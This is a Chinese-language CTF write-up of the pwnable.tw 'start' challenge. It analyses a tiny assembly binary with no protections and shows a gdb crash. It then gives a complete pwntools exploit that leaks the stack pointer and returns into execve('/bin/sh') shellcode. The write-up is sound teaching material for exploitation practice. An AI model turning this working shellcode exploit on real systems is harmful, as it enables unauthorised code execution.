pwnable.tw start

作者: print("") 分类: PWN 发布时间: 2024-12-01 21:22

题目地址:https://pwnable.tw/challenge/#1

一、checksec 

pwnable.tw$ checksec start
[*] '/home/pwn/桌面/pwnable.tw/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
pwnable.tw$ 

什么保护都没有打开。

运行一下题目

pwnable.tw$ ./start 
Let's start the CTF:124545454545
pwnable.tw$ ./start 
Let's start the CTF:66666666666666666666666
[8]    5822 segmentation fault (core dumped)  ./start
pwnable.tw$ 

输入长一点就段错误了。

二、代码分析

打开IDA发现就一个_start 啥都没有了

这里从ELF 文件来看是汇编写的

.text:08048060                 public _start
.text:08048060 _start          proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    3A465443h
.text:08048073                 push    20656874h
.text:08048078                 push    20747261h
.text:0804807D                 push    74732073h
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -
.text:08048099                 add     esp, 14h
.text:0804809C                 ret

有点奇怪的是,一般来说、函数的开头都是

push    ebp
mov     ebp, esp

这里直接是esp 

具体的esp 和ebp 的区别在于 

参考:https://zhuanlan.zhihu.com/p/692696035

分别给eax,ebx,ecx,edx赋值(4,1,esp,20),然后int 80h系统调用
清ebx,给eax,edx赋值(3,60),然后int 80h系统调用

可以翻译成如下c的伪代码:

write(1,esp,20); // 从栈上读20个字节到标准输出(读内存)
read(0,esp,60);  // 从标准输入写60个字节到栈上(写内存)

运行程序进行测试、

pwnable.tw$ gdb start 
GNU gdb (Ubuntu 9.1-0ubuntu1) 9.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 192 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from start...
(No debugging symbols found in start)
pwndbg> r
Starting program: /home/pwn/桌面/pwnable.tw/start 
Let's start the CTF:11111111111111111111111

Program received signal SIGSEGV, Segmentation fault.
0x0a313131 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────[ REGISTERS ]────────────────────────────────────
 EAX  0x18
 EBX  0x0
 ECX  0xffffd204 ◂— 0x31313131 ('1111')
 EDX  0x3c
 EDI  0x0
 ESI  0x0
 EBP  0x0
 ESP  0xffffd21c —▸ 0xffffd220 ◂— 0x1
 EIP  0xa313131 ('111\n')
─────────────────────────────────────[ DISASM ]─────────────────────────────────────
Invalid address 0xa313131z

这里溢出了1111  直接是认为是地址了。

三、漏洞点以及利用

首先泄露之前的esp
然后布置shellcode到栈上,并且计算相应的返回地址覆盖eip

画图所示

from pwn import *

context(os='linux',arch='i386',log_level='debug')

shellcode  = b"\x31\xc0\x50\x68\x2f\x2f\x73"
shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89"
shellcode += b"\xe3\x89\xc1\x89\xc2\xb0\x0b"
shellcode += b"\xcd\x80\x31\xc0\x40\xcd\x80"
print(len(shellcode))
myelf = ELF("./start")
io = process(myelf.path)

payload =b"a"*20
payload += p32(0x08048087)

io.recv()
io.send(payload)

oldesp = u32(io.recv(4))
io.recv()

payload = b"a"*20
payload += p32(oldesp+20)
payload += shellcode

io.send(payload)

io.interactive()

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注